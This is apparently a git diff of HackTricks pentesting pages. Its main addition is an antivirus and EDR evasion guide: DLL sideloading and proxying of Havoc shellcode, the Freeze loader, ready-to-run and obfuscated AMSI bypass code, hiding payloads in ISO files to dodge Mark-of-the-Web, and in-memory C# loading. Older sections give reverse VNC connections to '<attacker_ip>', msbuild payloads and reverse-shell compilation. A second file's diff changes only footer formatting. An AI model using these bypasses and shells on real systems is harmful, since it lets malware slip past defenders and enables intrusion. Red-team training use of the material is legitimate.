+For example, if you want to dump LSASS, **do you really need to use mimikatz**? Or could you use a different project which is lesser known and also dumps LSASS.
+
+The right answer is probably the latter. Taking mimikatz as an example, it's probably one of, if not the most flagged piece of malware by AVs and EDRs, while the project itself is super cool, it's also a nightmare to work with it to get around AVs, so just look for alternatives for what you're trying to achieve.
+
+{% hint style="info" %}
+When modifying your payloads for evasion, make sure to **turn off automatic sample submission** in defender, and please, seriously, **DO NOT UPLOAD TO VIRUSTOTAL** if your goal is achieving evasion in the long run. If you want to check if your payload gets detected by a particular AV, install it on a VM, try to turn off the automatic sample submission, and test it there until you're satisfied with the result.
+{% endhint %}
+
+## EXEs vs DLLs
+
+Whenever it's possible, always **prioritize using DLLs for evasion**, in my experience, DLL files are usually **way less detected** and analyzed, so it's a very simple trick to use in order to avoid detection in some cases (if your payload has some way of running as a DLL of course).
+
+As we can see in this image, a DLL Payload from Havoc has a detection rate of 4/26 in antiscan.me, while the EXE payload has a 7/26 detection rate.
+
+<figure><img src="../.gitbook/assets/image (6).png" alt=""><figcaption><p>antiscan.me comparison of a normal Havoc EXE payload vs a normal Havoc DLL</p></figcaption></figure>
+
+Now we'll show some tricks you can use with DLL files to be much more stealthier.
+
+## DLL Sideloading & Proxying
+
+**DLL Sideloading** takes advantage of the DLL search order used by the loader by positioning both the victim application and malicious payload(s) alongside each other.
+
+You can check for programs susceptible to DLL Sideloading using [Siofra](https://github.com/Cybereason/siofra) and the following powershell script:
+
+{% code overflow="wrap" %}
+```powershell
+Get-ChildItem -Path "C:\Program Files\" -Filter *.exe -Recurse -File -Name| ForEach-Object {
+    $binarytoCheck = "C:\Program Files\" + $_
+    C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hijack -f $binarytoCheck
+}
+```
+{% endcode %}
+
+This command will output the list of programs susceptible to DLL hijacking inside "C:\Program Files\\" and the DLL files they try to load.
+
+I highly recommend you **explore DLL Hijackable/Sideloadable programs yourself**, this technique is pretty stealthy done properly, but if you use publicly known DLL Sideloadable programs, you may get caught easily.
+
+Just by placing a malicious DLL with the name a program expects to load, won't load your payload, as the program expects some specific functions inside that DLL, to fix this issue, we'll use another technique called **DLL Proxying/Forwarding**.
+
+**DLL Proxying** forwards the calls a program makes from the proxy (and malicious) DLL to the original DLL, thus preserving the program's functionality and being able to handle the execution of your payload.
+
+I will be using the [SharpDLLProxy](https://github.com/Flangvik/SharpDllProxy) project from [@flangvik](https://twitter.com/Flangvik/)
+
+These are the steps I followed:
+
+{% code overflow="wrap" %}
+```
+1. Find an application vulnerable to DLL Sideloading (siofra or using Process Hacker)
+2. Generate some shellcode (I used Havoc C2)
+3. (Optional) Encode your shellcode using Shikata Ga Nai (https://github.com/EgeBalci/sgn)
+4. Use SharpDLLProxy to create the proxy dll (.\SharpDllProxy.exe --dll .\mimeTools.dll --payload .\demon.bin)
+```
+{% endcode %}
+
+The last command will give us 2 files: a DLL source code template, and the original renamed DLL.
+
+<figure><img src="../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
+
+{% code overflow="wrap" %}
+```
+5. Create a new visual studio project (C++ DLL), paste the code generated by SharpDLLProxy (Under output_dllname/dllname_pragma.c) and compile. Now you should have a proxy dll which will load the shellcode you've specified and also forward any calls to the original DLL.
+```
+{% endcode %}
+
+These are the results:
+
+<figure><img src="../.gitbook/assets/image (8).png" alt=""><figcaption></figcaption></figure>
+
+Both our shellcode (encoded with [SGN](https://github.com/EgeBalci/sgn)) and the proxy DLL have a 0/26 Detection rate in [antiscan.me](https://antiscan.me)! I would call that a success.
+
+<figure><img src="../.gitbook/assets/image (11).png" alt=""><figcaption></figcaption></figure>
+
+{% hint style="info" %}
+I **highly recommend** you watch [S3cur3Th1sSh1t's twitch VOD](https://www.twitch.tv/videos/1644171543) about DLL Sideloading and also [ippsec's video](https://www.youtube.com/watch?v=3eROsG\_WNpE) to learn more about what we've discussed more in-depth.
+{% endhint %}
+
+## ****[**Freeze**](https://github.com/optiv/Freeze)****
+
+`Freeze is a payload toolkit for bypassing EDRs using suspended processes, direct syscalls, and alternative execution methods`
+
+You can use Freeze to load and execute your shellcode in a stealthy manner.
+
+```
+Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freeze.git && cd Freeze && go build Freeze.go)
+1. Generate some shellcode, in this case I used Havoc C2.
+2. ./Freeze -I demon.bin -encrypt -O demon.exe
+3. Profit, no alerts from defender
+```
+
+<figure><img src="../.gitbook/assets/image (10).png" alt=""><figcaption></figcaption></figure>
+
+{% hint style="info" %}
+Evasion is just a cat & mouse game, what works today could be detected tomorrow, so never rely on only one tool, if possible, try chaining multiple evasion techniques.
+{% endhint %}
+
+## AMSI (Anti-Malware Scan Interface)
+
+AMSI was created to prevent "[fileless malware](https://en.wikipedia.org/wiki/Fileless\_malware)". Initially, AVs were only capable of scanning **files on disk**, so if you could somehow execute payloads **directly in-memory**, the AV couldn't do anything to prevent it, as it didn't have enough visibility.
+
+The AMSI feature is integrated into these components of Windows.
+
+* User Account Control, or UAC (elevation of EXE, COM, MSI, or ActiveX installation)
+* PowerShell (scripts, interactive use, and dynamic code evaluation)
+* Windows Script Host (wscript.exe and cscript.exe)
+* JavaScript and VBScript
+* Office VBA macros
+
+It allows antivirus solutions to inspect script behavior by exposing script contents in a form that is both unencrypted and unobfuscated.
+
+Running `IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')` will produce the following alert on Windows Defender.
+
+<figure><img src="../.gitbook/assets/image (4).png" alt=""><figcaption></figcaption></figure>
+
+Notice how it prepends `amsi:` and then the path to the executable from which the script ran, in this case, powershell.exe
+
+We didn't drop any file to disk, but still got caught in-memory because of AMSI.
+
+There are a couple of ways to get around AMSI:
+
+* **Obfuscation**
+
+Since AMSI mainly works with static detections, therefore, modifying the scripts you try to load can be a good way for evading detection.
+
+However, AMSI has the capability of unobfuscating scripts even if it has multiple layers, so obfuscation could be a bad option depending on how it's done. This makes it not-so-straightforward to evade. Although, sometimes, all you need to do is change a couple of variable names and you'll be good, so it depends on how much something has been flagged.
+
+* **AMSI Bypass**
+
+Since AMSI is implemented by loading a DLL into the powershell (also cscript.exe, wscript.exe, etc.) process, it's possible to tamper with it easily even running as an unprivileged user. Due to this flaw in the implementation of AMSI, researchers have found multiple ways to evade AMSI scanning.
+
+**Forcing an Error**
+
+Forcing the AMSI initialization to fail (amsiInitFailed) will result that no scan will be initiated for the current process. Originally this was disclosed by [Matt Graeber](https://twitter.com/mattifestation) and Microsoft has developed a signature to prevent wider usage.
+
+```powershell
+[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
+```
+
+All it took was one line of powershell code to render AMSI unusable for the current powershell process. This line has of course been flagged by AMSI itself, so some modification is needed in order to use this technique.
+
+Here is a modified AMSI bypass I took from this [Github Gist](https://gist.github.com/r00t-3xp10it/a0c6a368769eec3d3255d4814802b5db).
+
+```powershell
+Try{#Ams1 bypass technic nº 2
+      $Xdatabase = 'Utils';$Homedrive = 'si'
+      $ComponentDeviceId = "N`onP" + "ubl`ic" -join ''
+      $DiskMgr = 'Syst+@.M£n£g' + 'e@+nt.Auto@' + '£tion.A' -join ''
+      $fdx = '@ms' + '£In£' + 'tF@£' + 'l+d' -Join '';Start-Sleep -Milliseconds 300
+      $CleanUp = $DiskMgr.Replace('@','m').Replace('£','a').Replace('+','e')
+      $Rawdata = $fdx.Replace('@','a').Replace('£','i').Replace('+','e')
+      $SDcleanup = [Ref].Assembly.GetType(('{0}m{1}{2}' -f $CleanUp,$Homedrive,$Xdatabase))
+      $Spotfix = $SDcleanup.GetField($Rawdata,"$ComponentDeviceId,Static")
+      $Spotfix.SetValue($null,$true)
+   }Catch{Throw $_}
+```
+
+Keep in mind, that this will probably get flagged once this post comes out, so you should not publish any code if your plan is staying undetected.
+
+**Memory Patching**
+
+This technique was initially discovered by [@RastaMouse](https://twitter.com/\_RastaMouse/) and it involves finding address for the "AmsiScanBuffer" function in amsi.dll (responsible for scanning the user-supplied input) and overwriting it with instructions to return the code for E\_INVALIDARG, this way, the result of the actual scan will return 0, which is interpreted as a clean result.
+
+{% hint style="info" %}
+Please read [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/) for a more detailed explanation.
+{% endhint %}
+
+There are also many other techniques used to bypass AMSI with powershell, check out [this repo](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) to learn more about them.
+
+## SmartScreen & MoTW
+
+You may have seen this screen when downloading some executables from the internet and executing them.
+
+Microsoft Defender SmartScreen is a security mechanism intended to protect the end user against running potentially malicious applications.
+
+<figure><img src="../.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
+
+SmartScreen mainly works with a reputation-based approach, meaning that uncommonly download applications will trigger SmartScreen thus alerting and preventing the end user from executing the file (although the file can still be executed by clicking More Info -> Run anyway).
+
+**MoTW** (Mark of The Web) is an [NTFS Alternate Data Stream](https://en.wikipedia.org/wiki/NTFS#Alternate\_data\_stream\_\(ADS\)) with the name of Zone.Identifier which is automatically created upon download files from the internet, along with the URL it was downloaded from.
+
+<figure><img src="../.gitbook/assets/image (13).png" alt=""><figcaption><p>Checking the Zone.Identifier ADS for a file downloaded from the internet.</p></figcaption></figure>
+
+{% hint style="info" %}
+It's important to note that executables signed with a **trusted** signing certificate **won't trigger SmartScreen**.
+{% endhint %}
+
+A very effective way to prevent your payloads from getting the Mark of The Web is by packaging them inside some sort of container like an ISO. This happens because Mark-of-the-Web (MOTW) **cannot** be applied to **non NTFS** volumes.
+
+<figure><img src="../.gitbook/assets/image (12).png" alt=""><figcaption></figcaption></figure>
+
+****[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/) is a tool that packages payloads into output containers to evade Mark-of-the-Web.
+
+Example usage:
+
+```powershell
+PS C:\Tools\PackMyPayload> python .\PackMyPayload.py .\TotallyLegitApp.exe container.iso
+
++      o     +              o   +      o     +              o
+    +             o     +           +             o     +         +
+    o  +           +        +           o  +           +          o
+-_-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-_-_-_-_-_-_-_,------,      o
+   :: PACK MY PAYLOAD (1.1.0)       -_-_-_-_-_-_-|   /\_/\
+   for all your container cravings   -_-_-_-_-_-~|__( ^ .^)  +    +
+-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-__-_-_-_-_-_-_-''  ''
++      o         o   +       o       +      o         o   +       o
++      o            +      o    ~   Mariusz Banach / mgeeky    o
+o      ~     +           ~          <mb [at] binary-offensive.com>
+    o           +                         o           +           +
+
+[.] Packaging input file to output .iso (iso)...
+Burning file onto ISO:
+    Adding file: /TotallyLegitApp.exe
+
+[+] Generated file written to (size: 3420160): container.iso
+```
+
+Here is a demo for bypassing SmartScreen by packaging payloads inside ISO files using [PackMyPayload](https://github.com/mgeeky/PackMyPayload/)
+
+<figure><img src="../.gitbook/assets/image (14).png" alt=""><figcaption></figcaption></figure>
+
+## C# Assembly Reflection
+
+Loading C# binaries in memory has been known for quite some time and it's still a very great way for running your post-exploitation tools without getting caught by AV.
+
+Since the payload will get loaded directly into memory without touching disk, we will only have to worry about patching AMSI for the whole process.
+
+Most C2 frameworks (sliver, Covenant, metasploit, CobaltStrike, Havoc, etc.) already provide the ability to execute C# assemblies directly in memory, but there are different ways of doing so:
+
+* **Fork\&Run**
+
+It involves **spawning a new sacrificial process**, inject your post-exploitation malicious code into that new process, execute your malicious code and when finished, kill the new process. This has both its benefits and its drawbacks. The benefit to the fork and run method is that execution occurs **outside** our Beacon implant process. This means that if something in our post-exploitation action goes wrong or gets caught, there is a **much greater chance** of our **implant surviving.** The drawback is that you have a **greater chance** of getting caught by **Behavioural Detections**.
+
+<figure><img src="../.gitbook/assets/image (7).png" alt=""><figcaption></figcaption></figure>
+
+* **Inline**
+
+It's about injecting the post-exploitation malicious code **into its own process**. This way, you can avoid having to create a new process and getting it scanned by AV, but the drawback is that if something goes wrong with the execution of your payload, there's a **much greater chance** of **losing your beacon** as it could crash.
+
+<figure><img src="../.gitbook/assets/image (9).png" alt=""><figcaption></figcaption></figure>
+
+{% hint style="info" %}
+If you want to read more about C# Assembly loading, please check out this article [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) and their InlineExecute-Assembly BOF ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly))
+{% endhint %}
+
+You can also load C# Assemblies **from PowerShell**, check out [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) and [S3cur3th1sSh1t's video](https://www.youtube.com/watch?v=oe11Q-3Akuk).
+
+## Advanced Evasion
+
+Evasion is a very complicated topic, sometimes you have to take into account many different sources of telemetry in just one system, so it's pretty much impossible to stay completely undetected in mature environments.
+
+Every environment you go against will have their own strengths and weaknesses.
+
+I highly encourage you go watch this talk from [@ATTL4S](https://twitter.com/DaniLJ94), to get a foothold into more Advanced Evasion techniques.
+
+{% embed url="https://vimeo.com/502507556?embedded=true&owner=32913914&source=vimeo_logo" %}
+
+his is also another great talk from [@mariuszbit](https://twitter.com/mariuszbit) about Evasion in Depth.
+
+{% embed url="https://www.youtube.com/watch?v=IbA7Ung39o4" %}
+
+
+
+## **Old Techniques**
+
+### **Telnet Server**
 
 Until Windows10, all Windows came with a **Telnet server** that you could install (as administrator) doing:
 
@@ -38,7 +342,7 @@ tlntadmn config port=80
 netsh advfirewall set allprofiles state off
 ```
 
-# UltraVNC
+### UltraVNC
 
 Download it from: [http://www.uvnc.com/downloads/ultravnc.html](http://www.uvnc.com/downloads/ultravnc.html) (you want the bin downloads, not the setup)
 
@@ -50,17 +354,17 @@ Download it from: [http://www.uvnc.com/downloads/ultravnc.html](http://www.uvnc.
 
 Then, move the binary _**winvnc.exe**_ and **newly** created file _**UltraVNC.ini**_ inside the **victim**
 
-## **Reverse connection**
+#### **Reverse connection**
 
-The **attacker** should **execute inside** his **host** the binary `vncviewer.exe -listen 5900` so it will be **prepared** to catch a reverse **VNC connection**.
-Then, inside the **victim**: Start the winvnc daemon `winvnc.exe -run` and run `winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900`
+The **attacker** should **execute inside** his **host** the binary `vncviewer.exe -listen 5900` so it will be **prepared** to catch a reverse **VNC connection**. Then, inside the **victim**: Start the winvnc daemon `winvnc.exe -run` and run `winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900`
 
 **WARNING:** To maintain stealth you must not do a few things
-- Don't start `winvnc` if it's already running or you'll trigger a [popup](https://i.imgur.com/1SROTTl.png). check if it's running with `tasklist | findstr winvnc`
-- Don't start `winvnc` without `UltraVNC.ini` in the same directory or it will cause [the config window](https://i.imgur.com/rfMQWcf.png) to open
-- Don't run `winvnc -h` for help or you'll trigger a [popup](https://i.imgur.com/oc18wcu.png)
 
-# GreatSCT
+* Don't start `winvnc` if it's already running or you'll trigger a [popup](https://i.imgur.com/1SROTTl.png). check if it's running with `tasklist | findstr winvnc`
+* Don't start `winvnc` without `UltraVNC.ini` in the same directory or it will cause [the config window](https://i.imgur.com/rfMQWcf.png) to open
+* Don't run `winvnc -h` for help or you'll trigger a [popup](https://i.imgur.com/oc18wcu.png)
+
+### GreatSCT
 
 Download it from: [https://github.com/GreatSCT/GreatSCT](https://github.com/GreatSCT/GreatSCT)
 
@@ -92,11 +396,11 @@ C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe payload.xml
 
 **Current defender will terminate the process very fast.**
 
-# Compiling our own reverse shell
+### Compiling our own reverse shell
 
 https://medium.com/@Bank\_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15
 
-### First C# Revershell
+#### First C# Revershell
 
 Compile it with:
 
@@ -184,7 +488,7 @@ namespace ConnectBack
 
 [https://gist.githubusercontent.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc/raw/1b6c32ef6322122a98a1912a794b48788edf6bad/Simple\_Rev\_Shell.cs](https://gist.githubusercontent.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc/raw/1b6c32ef6322122a98a1912a794b48788edf6bad/Simple\_Rev\_Shell.cs)
 
-# C# using compiler
+### C# using compiler
 
 ```
 C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt.txt REV.shell.txt
@@ -208,7 +512,7 @@ powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.g
 
 C# obfuscators list: [https://github.com/NotPrab/.NET-Obfuscator](https://github.com/NotPrab/.NET-Obfuscator)
 
-# C++
+### C++
 
 ```
 sudo apt-get install mingw-w64
@@ -228,7 +532,7 @@ https://github.com/l0ss/Grouper2
 
 {% embed url="http://niiconsulting.com/checkmate/2018/06/bypassing-detection-for-a-reverse-meterpreter-shell/" %}
 
-# Other tools
+### Other tools
 
 ```bash
 # Veil Framework:
@@ -255,28 +559,18 @@ https://github.com/TheWover/donut
 https://github.com/praetorian-code/vulcan
 ```
 
-# More
-
-{% embed url="https://github.com/EgeBalci/sgn" %}
+### More
 
 {% embed url="https://github.com/persianhydra/Xeexe-TopAntivirusEvasion" %}
 
-
-
 <details>
 
-<summary><strong><a href="https://www.twitch.tv/hacktricks_live/schedule">🎙️ HackTricks LIVE Twitch</a> Wednesdays 5.30pm (UTC) 🎙️ - <a href="https://www.youtube.com/@hacktricks_LIVE">🎥 Youtube 🎥</a></strong></summary>
+<summary><a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ HackTricks LIVE Twitch</strong></a> <strong>Wednesdays 5.30pm (UTC) 🎙️ -</strong> <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
 
-- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-
-- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-
-- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-
-- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-
-- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
+* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
+* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>
-
-

windows-hardening/lateral-movement/dcom-exec.md

@@ -2,13 +2,13 @@
 
 <details>
 
-<summary><strong><a href="https://www.twitch.tv/hacktricks_live/schedule">🎙️ HackTricks LIVE Twitch</a> Wednesdays 5.30pm (UTC) 🎙️ - <a href="https://www.youtube.com/@hacktricks_LIVE">🎥 Youtube 🎥</a></strong></summary>
+<summary><a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ HackTricks LIVE Twitch</strong></a> <strong>Wednesdays 5.30pm (UTC) 🎙️ -</strong> <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
 
 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
 * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
 * **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**..
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)..
 
 </details>
 
@@ -18,7 +18,7 @@
 
 The [MMC Application Class (MMC20.Application)](https://technet.microsoft.com/en-us/library/cc181199.aspx) COM object allows you to script components of MMC snap-in operations. While enumerating the different methods and properties within this COM object, I noticed that there is a method named `ExecuteShellCommand` under Document.ActiveView.
 
-![](<../../.gitbook/assets/image (4) (2).png>)
+![](<../../.gitbook/assets/image (4) (2) (1).png>)
 
 You can read more on that method [here](https://msdn.microsoft.com/en-us/library/aa815396\(v=vs.85\).aspx). So far, we have a DCOM application that we can access over the network and can execute commands. The final piece is to leverage this DCOM application and the ExecuteShellCommand method to obtain code execution on a remote host.
 
@@ -156,12 +156,12 @@ The Powershell script [**Invoke-DCOM.ps1**](https://github.com/EmpireProject/Emp
 
 <details>
 
-<summary><strong><a href="https://www.twitch.tv/hacktricks_live/schedule">🎙️ HackTricks LIVE Twitch</a> Wednesdays 5.30pm (UTC) 🎙️ - <a href="https://www.youtube.com/@hacktricks_LIVE">🎥 Youtube 🎥</a></strong></summary>
+<summary><a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ HackTricks LIVE Twitch</strong></a> <strong>Wednesdays 5.30pm (UTC) 🎙️ -</strong> <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
 
 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
 * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
 * **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>